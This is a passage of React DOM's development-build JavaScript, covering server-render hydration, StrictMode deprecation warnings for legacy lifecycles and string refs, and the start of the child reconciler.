              case HostComponent:
                {
                  var _type = fiber.type;
                  var _props = fiber.pendingProps;
                  var isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;
                  didNotFindHydratableInstance(parentType, parentProps, parentInstance, _type, _props, // TODO: Delete this argument when we remove the legacy root API.
                  isConcurrentMode);
                  break;
                }

              case HostText:
                {
                  var _text = fiber.pendingProps;

                  var _isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;

                  didNotFindHydratableTextInstance(parentType, parentProps, parentInstance, _text, // TODO: Delete this argument when we remove the legacy root API.
                  _isConcurrentMode);
                  break;
                }
            }

            break;
          }

        case SuspenseComponent:
          {
            var suspenseState = returnFiber.memoizedState;
            var _parentInstance = suspenseState.dehydrated;
            if (_parentInstance !== null) switch (fiber.tag) {
              case HostComponent:
                var _type2 = fiber.type;
                var _props2 = fiber.pendingProps;
                didNotFindHydratableInstanceWithinSuspenseInstance(_parentInstance, _type2);
                break;

              case HostText:
                var _text2 = fiber.pendingProps;
                didNotFindHydratableTextInstanceWithinSuspenseInstance(_parentInstance, _text2);
                break;
            }
            break;
          }

        default:
          return;
      }
    }
  }

  function insertNonHydratedInstance(returnFiber, fiber) {
    fiber.flags = fiber.flags & ~Hydrating | Placement;
    warnNonhydratedInstance(returnFiber, fiber);
  }

  function tryHydrate(fiber, nextInstance) {
    switch (fiber.tag) {
      case HostComponent:
        {
          var type = fiber.type;
          var props = fiber.pendingProps;
          var instance = canHydrateInstance(nextInstance, type);

          if (instance !== null) {
            fiber.stateNode = instance;
            hydrationParentFiber = fiber;
            nextHydratableInstance = getFirstHydratableChild(instance);
            return true;
          }

          return false;
        }

      case HostText:
        {
          var text = fiber.pendingProps;
          var textInstance = canHydrateTextInstance(nextInstance, text);

          if (textInstance !== null) {
            fiber.stateNode = textInstance;
            hydrationParentFiber = fiber; // Text Instances don't have children so there's nothing to hydrate.

            nextHydratableInstance = null;
            return true;
          }

          return false;
        }

      case SuspenseComponent:
        {
          var suspenseInstance = canHydrateSuspenseInstance(nextInstance);

          if (suspenseInstance !== null) {
            var suspenseState = {
              dehydrated: suspenseInstance,
              treeContext: getSuspendedTreeContext(),
              retryLane: OffscreenLane
            };
            fiber.memoizedState = suspenseState; // Store the dehydrated fragment as a child fiber.
            // This simplifies the code for getHostSibling and deleting nodes,
            // since it doesn't have to consider all Suspense boundaries and
            // check if they're dehydrated ones or not.

            var dehydratedFragment = createFiberFromDehydratedFragment(suspenseInstance);
            dehydratedFragment.return = fiber;
            fiber.child = dehydratedFragment;
            hydrationParentFiber = fiber; // While a Suspense Instance does have children, we won't step into
            // it during the first pass. Instead, we'll reenter it later.

            nextHydratableInstance = null;
            return true;
          }

          return false;
        }

      default:
        return false;
    }
  }

  function shouldClientRenderOnMismatch(fiber) {
    return (fiber.mode & ConcurrentMode) !== NoMode && (fiber.flags & DidCapture) === NoFlags;
  }

  function throwOnHydrationMismatch(fiber) {
    throw new Error('Hydration failed because the initial UI does not match what was ' + 'rendered on the server.');
  }

  function tryToClaimNextHydratableInstance(fiber) {
    if (!isHydrating) {
      return;
    }

    var nextInstance = nextHydratableInstance;

    if (!nextInstance) {
      if (shouldClientRenderOnMismatch(fiber)) {
        warnNonhydratedInstance(hydrationParentFiber, fiber);
        throwOnHydrationMismatch();
      } // Nothing to hydrate. Make it an insertion.


      insertNonHydratedInstance(hydrationParentFiber, fiber);
      isHydrating = false;
      hydrationParentFiber = fiber;
      return;
    }

    var firstAttemptedInstance = nextInstance;

    if (!tryHydrate(fiber, nextInstance)) {
      if (shouldClientRenderOnMismatch(fiber)) {
        warnNonhydratedInstance(hydrationParentFiber, fiber);
        throwOnHydrationMismatch();
      } // If we can't hydrate this instance let's try the next one.
      // We use this as a heuristic. It's based on intuition and not data so it
      // might be flawed or unnecessary.


      nextInstance = getNextHydratableSibling(firstAttemptedInstance);
      var prevHydrationParentFiber = hydrationParentFiber;

      if (!nextInstance || !tryHydrate(fiber, nextInstance)) {
        // Nothing to hydrate. Make it an insertion.
        insertNonHydratedInstance(hydrationParentFiber, fiber);
        isHydrating = false;
        hydrationParentFiber = fiber;
        return;
      } // We matched the next one, we'll now assume that the first one was
      // superfluous and we'll delete it. Since we can't eagerly delete it
      // we'll have to schedule a deletion. To do that, this node needs a dummy
      // fiber associated with it.


      deleteHydratableInstance(prevHydrationParentFiber, firstAttemptedInstance);
    }
  }

  function prepareToHydrateHostInstance(fiber, rootContainerInstance, hostContext) {

    var instance = fiber.stateNode;
    var shouldWarnIfMismatchDev = !didSuspendOrErrorDEV;
    var updatePayload = hydrateInstance(instance, fiber.type, fiber.memoizedProps, rootContainerInstance, hostContext, fiber, shouldWarnIfMismatchDev); // TODO: Type this specific to this type of component.

    fiber.updateQueue = updatePayload; // If the update payload indicates that there is a change or if there
    // is a new ref we mark this as an update.

    if (updatePayload !== null) {
      return true;
    }

    return false;
  }

  function prepareToHydrateHostTextInstance(fiber) {

    var textInstance = fiber.stateNode;
    var textContent = fiber.memoizedProps;
    var shouldUpdate = hydrateTextInstance(textInstance, textContent, fiber);

    if (shouldUpdate) {
      // We assume that prepareToHydrateHostTextInstance is called in a context where the
      // hydration parent is the parent host component of this host text.
      var returnFiber = hydrationParentFiber;

      if (returnFiber !== null) {
        switch (returnFiber.tag) {
          case HostRoot:
            {
              var parentContainer = returnFiber.stateNode.containerInfo;
              var isConcurrentMode = (returnFiber.mode & ConcurrentMode) !== NoMode;
              didNotMatchHydratedContainerTextInstance(parentContainer, textInstance, textContent, // TODO: Delete this argument when we remove the legacy root API.
              isConcurrentMode);
              break;
            }

          case HostComponent:
            {
              var parentType = returnFiber.type;
              var parentProps = returnFiber.memoizedProps;
              var parentInstance = returnFiber.stateNode;

              var _isConcurrentMode2 = (returnFiber.mode & ConcurrentMode) !== NoMode;

              didNotMatchHydratedTextInstance(parentType, parentProps, parentInstance, textInstance, textContent, // TODO: Delete this argument when we remove the legacy root API.
              _isConcurrentMode2);
              break;
            }
        }
      }
    }

    return shouldUpdate;
  }

  function prepareToHydrateHostSuspenseInstance(fiber) {

    var suspenseState = fiber.memoizedState;
    var suspenseInstance = suspenseState !== null ? suspenseState.dehydrated : null;

    if (!suspenseInstance) {
      throw new Error('Expected to have a hydrated suspense instance. ' + 'This error is likely caused by a bug in React. Please file an issue.');
    }

    hydrateSuspenseInstance(suspenseInstance, fiber);
  }

  function skipPastDehydratedSuspenseInstance(fiber) {

    var suspenseState = fiber.memoizedState;
    var suspenseInstance = suspenseState !== null ? suspenseState.dehydrated : null;

    if (!suspenseInstance) {
      throw new Error('Expected to have a hydrated suspense instance. ' + 'This error is likely caused by a bug in React. Please file an issue.');
    }

    return getNextHydratableInstanceAfterSuspenseInstance(suspenseInstance);
  }

  function popToNextHostParent(fiber) {
    var parent = fiber.return;

    while (parent !== null && parent.tag !== HostComponent && parent.tag !== HostRoot && parent.tag !== SuspenseComponent) {
      parent = parent.return;
    }

    hydrationParentFiber = parent;
  }

  function popHydrationState(fiber) {

    if (fiber !== hydrationParentFiber) {
      // We're deeper than the current hydration context, inside an inserted
      // tree.
      return false;
    }

    if (!isHydrating) {
      // If we're not currently hydrating but we're in a hydration context, then
      // we were an insertion and now need to pop up reenter hydration of our
      // siblings.
      popToNextHostParent(fiber);
      isHydrating = true;
      return false;
    } // If we have any remaining hydratable nodes, we need to delete them now.
    // We only do this deeper than head and body since they tend to have random
    // other nodes in them. We also ignore components with pure text content in
    // side of them. We also don't delete anything inside the root container.


    if (fiber.tag !== HostRoot && (fiber.tag !== HostComponent || shouldDeleteUnhydratedTailInstances(fiber.type) && !shouldSetTextContent(fiber.type, fiber.memoizedProps))) {
      var nextInstance = nextHydratableInstance;

      if (nextInstance) {
        if (shouldClientRenderOnMismatch(fiber)) {
          warnIfUnhydratedTailNodes(fiber);
          throwOnHydrationMismatch();
        } else {
          while (nextInstance) {
            deleteHydratableInstance(fiber, nextInstance);
            nextInstance = getNextHydratableSibling(nextInstance);
          }
        }
      }
    }

    popToNextHostParent(fiber);

    if (fiber.tag === SuspenseComponent) {
      nextHydratableInstance = skipPastDehydratedSuspenseInstance(fiber);
    } else {
      nextHydratableInstance = hydrationParentFiber ? getNextHydratableSibling(fiber.stateNode) : null;
    }

    return true;
  }

  function hasUnhydratedTailNodes() {
    return isHydrating && nextHydratableInstance !== null;
  }

  function warnIfUnhydratedTailNodes(fiber) {
    var nextInstance = nextHydratableInstance;

    while (nextInstance) {
      warnUnhydratedInstance(fiber, nextInstance);
      nextInstance = getNextHydratableSibling(nextInstance);
    }
  }

  function resetHydrationState() {

    hydrationParentFiber = null;
    nextHydratableInstance = null;
    isHydrating = false;
    didSuspendOrErrorDEV = false;
  }

  function upgradeHydrationErrorsToRecoverable() {
    if (hydrationErrors !== null) {
      // Successfully completed a forced client render. The errors that occurred
      // during the hydration attempt are now recovered. We will log them in
      // commit phase, once the entire tree has finished.
      queueRecoverableErrors(hydrationErrors);
      hydrationErrors = null;
    }
  }

  function getIsHydrating() {
    return isHydrating;
  }

  function queueHydrationError(error) {
    if (hydrationErrors === null) {
      hydrationErrors = [error];
    } else {
      hydrationErrors.push(error);
    }
  }

  var ReactCurrentBatchConfig$1 = ReactSharedInternals.ReactCurrentBatchConfig;
  var NoTransition = null;
  function requestCurrentTransition() {
    return ReactCurrentBatchConfig$1.transition;
  }

  var ReactStrictModeWarnings = {
    recordUnsafeLifecycleWarnings: function (fiber, instance) {},
    flushPendingUnsafeLifecycleWarnings: function () {},
    recordLegacyContextWarning: function (fiber, instance) {},
    flushLegacyContextWarning: function () {},
    discardPendingWarnings: function () {}
  };

  {
    var findStrictRoot = function (fiber) {
      var maybeStrictRoot = null;
      var node = fiber;

      while (node !== null) {
        if (node.mode & StrictLegacyMode) {
          maybeStrictRoot = node;
        }

        node = node.return;
      }

      return maybeStrictRoot;
    };

    var setToSortedString = function (set) {
      var array = [];
      set.forEach(function (value) {
        array.push(value);
      });
      return array.sort().join(', ');
    };

    var pendingComponentWillMountWarnings = [];
    var pendingUNSAFE_ComponentWillMountWarnings = [];
    var pendingComponentWillReceivePropsWarnings = [];
    var pendingUNSAFE_ComponentWillReceivePropsWarnings = [];
    var pendingComponentWillUpdateWarnings = [];
    var pendingUNSAFE_ComponentWillUpdateWarnings = []; // Tracks components we have already warned about.

    var didWarnAboutUnsafeLifecycles = new Set();

    ReactStrictModeWarnings.recordUnsafeLifecycleWarnings = function (fiber, instance) {
      // Dedupe strategy: Warn once per component.
      if (didWarnAboutUnsafeLifecycles.has(fiber.type)) {
        return;
      }

      if (typeof instance.componentWillMount === 'function' && // Don't warn about react-lifecycles-compat polyfilled components.
      instance.componentWillMount.__suppressDeprecationWarning !== true) {
        pendingComponentWillMountWarnings.push(fiber);
      }

      if (fiber.mode & StrictLegacyMode && typeof instance.UNSAFE_componentWillMount === 'function') {
        pendingUNSAFE_ComponentWillMountWarnings.push(fiber);
      }

      if (typeof instance.componentWillReceiveProps === 'function' && instance.componentWillReceiveProps.__suppressDeprecationWarning !== true) {
        pendingComponentWillReceivePropsWarnings.push(fiber);
      }

      if (fiber.mode & StrictLegacyMode && typeof instance.UNSAFE_componentWillReceiveProps === 'function') {
        pendingUNSAFE_ComponentWillReceivePropsWarnings.push(fiber);
      }

      if (typeof instance.componentWillUpdate === 'function' && instance.componentWillUpdate.__suppressDeprecationWarning !== true) {
        pendingComponentWillUpdateWarnings.push(fiber);
      }

      if (fiber.mode & StrictLegacyMode && typeof instance.UNSAFE_componentWillUpdate === 'function') {
        pendingUNSAFE_ComponentWillUpdateWarnings.push(fiber);
      }
    };

    ReactStrictModeWarnings.flushPendingUnsafeLifecycleWarnings = function () {
      // We do an initial pass to gather component names
      var componentWillMountUniqueNames = new Set();

      if (pendingComponentWillMountWarnings.length > 0) {
        pendingComponentWillMountWarnings.forEach(function (fiber) {
          componentWillMountUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
          didWarnAboutUnsafeLifecycles.add(fiber.type);
        });
        pendingComponentWillMountWarnings = [];
      }

      var UNSAFE_componentWillMountUniqueNames = new Set();

      if (pendingUNSAFE_ComponentWillMountWarnings.length > 0) {
        pendingUNSAFE_ComponentWillMountWarnings.forEach(function (fiber) {
          UNSAFE_componentWillMountUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
          didWarnAboutUnsafeLifecycles.add(fiber.type);
        });
        pendingUNSAFE_ComponentWillMountWarnings = [];
      }

      var componentWillReceivePropsUniqueNames = new Set();

      if (pendingComponentWillReceivePropsWarnings.length > 0) {
        pendingComponentWillReceivePropsWarnings.forEach(function (fiber) {
          componentWillReceivePropsUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
          didWarnAboutUnsafeLifecycles.add(fiber.type);
        });
        pendingComponentWillReceivePropsWarnings = [];
      }

      var UNSAFE_componentWillReceivePropsUniqueNames = new Set();

      if (pendingUNSAFE_ComponentWillReceivePropsWarnings.length > 0) {
        pendingUNSAFE_ComponentWillReceivePropsWarnings.forEach(function (fiber) {
          UNSAFE_componentWillReceivePropsUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
          didWarnAboutUnsafeLifecycles.add(fiber.type);
        });
        pendingUNSAFE_ComponentWillReceivePropsWarnings = [];
      }

      var componentWillUpdateUniqueNames = new Set();

      if (pendingComponentWillUpdateWarnings.length > 0) {
        pendingComponentWillUpdateWarnings.forEach(function (fiber) {
          componentWillUpdateUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
          didWarnAboutUnsafeLifecycles.add(fiber.type);
        });
        pendingComponentWillUpdateWarnings = [];
      }

      var UNSAFE_componentWillUpdateUniqueNames = new Set();

      if (pendingUNSAFE_ComponentWillUpdateWarnings.length > 0) {
        pendingUNSAFE_ComponentWillUpdateWarnings.forEach(function (fiber) {
          UNSAFE_componentWillUpdateUniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
          didWarnAboutUnsafeLifecycles.add(fiber.type);
        });
        pendingUNSAFE_ComponentWillUpdateWarnings = [];
      } // Finally, we flush all the warnings
      // UNSAFE_ ones before the deprecated ones, since they'll be 'louder'


      if (UNSAFE_componentWillMountUniqueNames.size > 0) {
        var sortedNames = setToSortedString(UNSAFE_componentWillMountUniqueNames);

        error('Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' + '\nPlease update the following components: %s', sortedNames);
      }

      if (UNSAFE_componentWillReceivePropsUniqueNames.size > 0) {
        var _sortedNames = setToSortedString(UNSAFE_componentWillReceivePropsUniqueNames);

        error('Using UNSAFE_componentWillReceiveProps in strict mode is not recommended ' + 'and may indicate bugs in your code. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move data fetching code or side effects to componentDidUpdate.\n' + "* If you're updating state whenever props change, " + 'refactor your code to use memoization techniques or move it to ' + 'static getDerivedStateFromProps. Learn more at: https://reactjs.org/link/derived-state\n' + '\nPlease update the following components: %s', _sortedNames);
      }

      if (UNSAFE_componentWillUpdateUniqueNames.size > 0) {
        var _sortedNames2 = setToSortedString(UNSAFE_componentWillUpdateUniqueNames);

        error('Using UNSAFE_componentWillUpdate in strict mode is not recommended ' + 'and may indicate bugs in your code. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move data fetching code or side effects to componentDidUpdate.\n' + '\nPlease update the following components: %s', _sortedNames2);
      }

      if (componentWillMountUniqueNames.size > 0) {
        var _sortedNames3 = setToSortedString(componentWillMountUniqueNames);

        warn('componentWillMount has been renamed, and is not recommended for use. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' + '* Rename componentWillMount to UNSAFE_componentWillMount to suppress ' + 'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' + 'To rename all deprecated lifecycles to their new names, you can run ' + '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' + '\nPlease update the following components: %s', _sortedNames3);
      }

      if (componentWillReceivePropsUniqueNames.size > 0) {
        var _sortedNames4 = setToSortedString(componentWillReceivePropsUniqueNames);

        warn('componentWillReceiveProps has been renamed, and is not recommended for use. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move data fetching code or side effects to componentDidUpdate.\n' + "* If you're updating state whenever props change, refactor your " + 'code to use memoization techniques or move it to ' + 'static getDerivedStateFromProps. Learn more at: https://reactjs.org/link/derived-state\n' + '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress ' + 'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' + 'To rename all deprecated lifecycles to their new names, you can run ' + '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' + '\nPlease update the following components: %s', _sortedNames4);
      }

      if (componentWillUpdateUniqueNames.size > 0) {
        var _sortedNames5 = setToSortedString(componentWillUpdateUniqueNames);

        warn('componentWillUpdate has been renamed, and is not recommended for use. ' + 'See https://reactjs.org/link/unsafe-component-lifecycles for details.\n\n' + '* Move data fetching code or side effects to componentDidUpdate.\n' + '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress ' + 'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' + 'To rename all deprecated lifecycles to their new names, you can run ' + '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n' + '\nPlease update the following components: %s', _sortedNames5);
      }
    };

    var pendingLegacyContextWarning = new Map(); // Tracks components we have already warned about.

    var didWarnAboutLegacyContext = new Set();

    ReactStrictModeWarnings.recordLegacyContextWarning = function (fiber, instance) {
      var strictRoot = findStrictRoot(fiber);

      if (strictRoot === null) {
        error('Expected to find a StrictMode component in a strict mode tree. ' + 'This error is likely caused by a bug in React. Please file an issue.');

        return;
      } // Dedup strategy: Warn once per component.


      if (didWarnAboutLegacyContext.has(fiber.type)) {
        return;
      }

      var warningsForRoot = pendingLegacyContextWarning.get(strictRoot);

      if (fiber.type.contextTypes != null || fiber.type.childContextTypes != null || instance !== null && typeof instance.getChildContext === 'function') {
        if (warningsForRoot === undefined) {
          warningsForRoot = [];
          pendingLegacyContextWarning.set(strictRoot, warningsForRoot);
        }

        warningsForRoot.push(fiber);
      }
    };

    ReactStrictModeWarnings.flushLegacyContextWarning = function () {
      pendingLegacyContextWarning.forEach(function (fiberArray, strictRoot) {
        if (fiberArray.length === 0) {
          return;
        }

        var firstFiber = fiberArray[0];
        var uniqueNames = new Set();
        fiberArray.forEach(function (fiber) {
          uniqueNames.add(getComponentNameFromFiber(fiber) || 'Component');
          didWarnAboutLegacyContext.add(fiber.type);
        });
        var sortedNames = setToSortedString(uniqueNames);

        try {
          setCurrentFiber(firstFiber);

          error('Legacy context API has been detected within a strict-mode tree.' + '\n\nThe old API will be supported in all 16.x releases, but applications ' + 'using it should migrate to the new version.' + '\n\nPlease update the following components: %s' + '\n\nLearn more about this warning here: https://reactjs.org/link/legacy-context', sortedNames);
        } finally {
          resetCurrentFiber();
        }
      });
    };

    ReactStrictModeWarnings.discardPendingWarnings = function () {
      pendingComponentWillMountWarnings = [];
      pendingUNSAFE_ComponentWillMountWarnings = [];
      pendingComponentWillReceivePropsWarnings = [];
      pendingUNSAFE_ComponentWillReceivePropsWarnings = [];
      pendingComponentWillUpdateWarnings = [];
      pendingUNSAFE_ComponentWillUpdateWarnings = [];
      pendingLegacyContextWarning = new Map();
    };
  }

  var didWarnAboutMaps;
  var didWarnAboutGenerators;
  var didWarnAboutStringRefs;
  var ownerHasKeyUseWarning;
  var ownerHasFunctionTypeWarning;

  var warnForMissingKey = function (child, returnFiber) {};

  {
    didWarnAboutMaps = false;
    didWarnAboutGenerators = false;
    didWarnAboutStringRefs = {};
    /**
     * Warn if there's no key explicitly set on dynamic arrays of children or
     * object keys are not valid. This allows us to keep track of children between
     * updates.
     */

    ownerHasKeyUseWarning = {};
    ownerHasFunctionTypeWarning = {};

    warnForMissingKey = function (child, returnFiber) {
      if (child === null || typeof child !== 'object') {
        return;
      }

      if (!child._store || child._store.validated || child.key != null) {
        return;
      }

      if (typeof child._store !== 'object') {
        throw new Error('React Component in warnForMissingKey should have a _store. ' + 'This error is likely caused by a bug in React. Please file an issue.');
      }

      child._store.validated = true;
      var componentName = getComponentNameFromFiber(returnFiber) || 'Component';

      if (ownerHasKeyUseWarning[componentName]) {
        return;
      }

      ownerHasKeyUseWarning[componentName] = true;

      error('Each child in a list should have a unique ' + '"key" prop. See https://reactjs.org/link/warning-keys for ' + 'more information.');
    };
  }

  function isReactClass(type) {
    return type.prototype && type.prototype.isReactComponent;
  }

  function coerceRef(returnFiber, current, element) {
    var mixedRef = element.ref;

    if (mixedRef !== null && typeof mixedRef !== 'function' && typeof mixedRef !== 'object') {
      {
        // TODO: Clean this up once we turn on the string ref warning for
        // everyone, because the strict mode case will no longer be relevant
        if ((returnFiber.mode & StrictLegacyMode || warnAboutStringRefs) && // We warn in ReactElement.js if owner and self are equal for string refs
        // because these cannot be automatically converted to an arrow function
        // using a codemod. Therefore, we don't have to warn about string refs again.
        !(element._owner && element._self && element._owner.stateNode !== element._self) && // Will already throw with "Function components cannot have string refs"
        !(element._owner && element._owner.tag !== ClassComponent) && // Will already warn with "Function components cannot be given refs"
        !(typeof element.type === 'function' && !isReactClass(element.type)) && // Will already throw with "Element ref was specified as a string (someStringRef) but no owner was set"
        element._owner) {
          var componentName = getComponentNameFromFiber(returnFiber) || 'Component';

          if (!didWarnAboutStringRefs[componentName]) {
            {
              error('Component "%s" contains the string ref "%s". Support for string refs ' + 'will be removed in a future major release. We recommend using ' + 'useRef() or createRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref', componentName, mixedRef);
            }

            didWarnAboutStringRefs[componentName] = true;
          }
        }
      }

      if (element._owner) {
        var owner = element._owner;
        var inst;

        if (owner) {
          var ownerFiber = owner;

          if (ownerFiber.tag !== ClassComponent) {
            throw new Error('Function components cannot have string refs. ' + 'We recommend using useRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref');
          }

          inst = ownerFiber.stateNode;
        }

        if (!inst) {
          throw new Error("Missing owner for string ref " + mixedRef + ". This error is likely caused by a " + 'bug in React. Please file an issue.');
        } // Assigning this to a const so Flow knows it won't change in the closure


        var resolvedInst = inst;

        {
          checkPropStringCoercion(mixedRef, 'ref');
        }

        var stringRef = '' + mixedRef; // Check if previous string ref matches new string ref

        if (current !== null && current.ref !== null && typeof current.ref === 'function' && current.ref._stringRef === stringRef) {
          return current.ref;
        }

        var ref = function (value) {
          var refs = resolvedInst.refs;

          if (value === null) {
            delete refs[stringRef];
          } else {
            refs[stringRef] = value;
          }
        };

        ref._stringRef = stringRef;
        return ref;
      } else {
        if (typeof mixedRef !== 'string') {
          throw new Error('Expected ref to be a function, a string, an object returned by React.createRef(), or null.');
        }

        if (!element._owner) {
          throw new Error("Element ref was specified as a string (" + mixedRef + ") but no owner was set. This could happen for one of" + ' the following reasons:\n' + '1. You may be adding a ref to a function component\n' + "2. You may be adding a ref to a component that was not created inside a component's render method\n" + '3. You have multiple copies of React loaded\n' + 'See https://reactjs.org/link/refs-must-have-owner for more information.');
        }
      }
    }

    return mixedRef;
  }

  function throwOnInvalidObjectType(returnFiber, newChild) {
    var childString = Object.prototype.toString.call(newChild);
    throw new Error("Objects are not valid as a React child (found: " + (childString === '[object Object]' ? 'object with keys {' + Object.keys(newChild).join(', ') + '}' : childString) + "). " + 'If you meant to render a collection of children, use an array ' + 'instead.');
  }

  function warnOnFunctionType(returnFiber) {
    {
      var componentName = getComponentNameFromFiber(returnFiber) || 'Component';

      if (ownerHasFunctionTypeWarning[componentName]) {
        return;
      }

      ownerHasFunctionTypeWarning[componentName] = true;

      error('Functions are not valid as a React child. This may happen if ' + 'you return a Component instead of <Component /> from render. ' + 'Or maybe you meant to call this function rather than return it.');
    }
  }

  function resolveLazy(lazyType) {
    var payload = lazyType._payload;
    var init = lazyType._init;
    return init(payload);
  } // This wrapper function exists because I expect to clone the code in each path
  // to be able to optimize each path individually by branching early. This needs
  // a compiler or we can do it manually. Helpers that don't need this branching
  // live outside of this function.


  function ChildReconciler(shouldTrackSideEffects) {
    function deleteChild(returnFiber, childToDelete) {
      if (!shouldTrackSideEffects) {
        // Noop.
        return;
      }

      var deletions = returnFiber.deletions;

      if (deletions === null) {
        returnFiber.deletions = [childToDelete];
        returnFiber.flags |= ChildDeletion;
      } else {
        deletions.push(childToDelete);
      }
    }

    function deleteRemainingChildren(returnFiber, currentFirstChild) {
      if (!shouldTrackSideEffects) {
        // Noop.
        return null;
      } // TODO: For the shouldClone case, this could be micro-optimized a bit by
      // assuming that after the first child we've already added everything.


      var childToDelete = currentFirstChild;

      while (childToDelete !== null) {
        deleteChild(returnFiber, childToDelete);
        childToDelete = childToDelete.sibling;
      }

      return null;
    }

    function mapRemainingChildren(returnFiber, currentFirstChild) {
      // Add the remaining children to a temporary map so that we can find them by
      // keys quickly. Implicit (null) keys get added to this set with their index
      // instead.
      var existingChildren = new Map();
      var existingChild = currentFirstChild;

      while (existingChild !== null) {
        if (existingChild.key !== null) {
          existingChildren.set(existingChild.key, existingChild);
        } else {
          existingChildren.set(existingChild.index, existingChild);
        }

        existingChild = existingChild.sibling;
      }

      return existingChildren;
    }

    function useFiber(fiber, pendingProps) {
      // We currently set sibling to null and index to 0 here because it is easy
      // to forget to do before returning it. E.g. for the single child case.
      var clone = createWorkInProgress(fiber, pendingProps);
      clone.index = 0;
      clone.sibling = null;
      return clone;
    }

    function placeChild(newFiber, lastPlacedIndex, newIndex) {
      newFiber.index = newIndex;

      if (!shouldTrackSideEffects) {
        // During hydration, the useId algorithm needs to know which fibers are
        // part of a list of children (arrays, iterators).
        newFiber.flags |= Forked;
        return lastPlacedIndex;
      }

      var current = newFiber.alternate;

      if (current !== null) {
        var oldIndex = current.index;

        if (oldIndex < lastPlacedIndex) {
          // This is a move.
          newFiber.flags |= Placement;
          return lastPlacedIndex;
        } else {
          // This item can stay in place.
          return oldIndex;
        }
      } else {
        // This is an insertion.
        newFiber.flags |= Placement;
        return lastPlacedIndex;
      }
    }

    function placeSingleChild(newFiber) {
      // This is simpler for the single child case. We only need to do a
      // placement for inserting new children.
      if (shouldTrackSideEffects && newFiber.alternate === null) {
        newFiber.flags |= Placement;
      }

      return newFiber;
    }

    function updateTextNode(returnFiber, current, textContent, lanes) {
      if (current === null || current.tag !== HostText) {
        // Insert
        var created = createFiberFromText(textContent, returnFiber.mode, lanes);
        created.return = returnFiber;
        return created;
      } else {
        // Update
        var existing = useFiber(current, textContent);
        existing.return = returnFiber;
        return existing;
      }
    }

    function updateElement(returnFiber, current, element, lanes) {
      var elementType = element.type;

      if (elementType === REACT_FRAGMENT_TYPE) {
        return updateFragment(returnFiber, current, element.props.children, lanes, element.key);
      }

      if (current !== null) {
        if (current.elementType === elementType || ( // Keep this check inline so it only runs on the false path:
         isCompatibleFamilyForHotReloading(current, element) ) || // Lazy types should reconcile their resolved type.
        // We need to do this after the Hot Reloading check above,
        // because hot reloading has different semantics than prod because
        // it doesn't resuspend. So we can't let the call below suspend.
        typeof elementType === 'object' && elementType !== null && elementType.$$typeof === REACT_LAZY_TYPE && resolveLazy(elementType) === current.type) {
          // Move based on index
          var existing = useFiber(current, element.props);
          existing.ref = coerceRef(returnFiber, current, element);
          existing.return = returnFiber;

          {
            existing._debugSource = element._source;
            existing._debugOwner = element._owner;
          }

          return existing;
        }
      } // Insert


      var created = createFiberFromElement(element, returnFiber.mode, lanes);
      created.ref = coerceRef(returnFiber, current, element);
      created.return = returnFiber;
      return created;
    }

    function updatePortal(returnFiber, current, portal, lanes) {
      if (current === null || current.tag !== HostPortal || current.stateNode.containerInfo !== portal.containerInfo || current.stateNode.implementation !== portal.implementation) {
        // Insert
        var created = createFiberFromPortal(portal, returnFiber.mode, lanes);
        created.return = returnFiber;
        return created;
      } else {
        // Update
        var existing = useFiber(current, portal.children || []);
        existing.return = returnFiber;
        return existing;
      }
    }

    function updateFragment(returnFiber, current, fragment, lanes, key) {
      if (current === null || current.tag !== Fragment) {
        // Insert
        var created = createFiberFromFragment(fragment, returnFiber.mode, lanes, key);
        created.return = returnFiber;
        return created;
      } else {
        // Update
        var existing = useFiber(current, fragment);
        existing.return = returnFiber;
        return existing;
      }
    }

    function createChild(returnFiber, newChild, lanes) {
      if (typeof newChild === 'string' && newChild !== '' || typeof newChild === 'number') {
        // Text nodes don't have keys. If the previous node is implicitly keyed
        // we can continue to replace it without aborting even if it is not a text
        // node.
        var created = createFiberFromText('' + newChild, returnFiber.mode, lanes);
        created.return = returnFiber;
        return created;
      }

      if (typeof newChild === 'object' && newChild !== null) {
        switch (newChild.$$typeof) {
          case REACT_ELEMENT_TYPE:
            {
              var _created = createFiberFromElement(newChild, returnFiber.mode, lanes);

              _created.ref = coerceRef(returnFiber, null, newChild);
              _created.return = returnFiber;
              return _created;
            }

          case REACT_PORTAL_TYPE:
            {
              var _created2 = createFiberFromPortal(newChild, returnFiber.mode, lanes);

              _created2.return = returnFiber;
              return _created2;
            }

          case REACT_LAZY_TYPE:
            {
              var payload = newChild._payload;
              var init = newChild._init;
              return createChild(returnFiber, init(payload), lanes);
            }
        }

        if (isArray(newChild) || getIteratorFn(newChild)) {
          var _created3 = createFiberFromFragment(newChild, returnFiber.mode, lanes, null);

          _created3.return = returnFiber;
          return _created3;
        }

        throwOnInvalidObjectType(returnFiber, newChild);
      }

      {
        if (typeof newChild === 'function') {
          warnOnFunctionType(returnFiber);
        }
      }

      return null;
    }

    function updateSlot(returnFiber, oldFiber, newChild, lanes) {
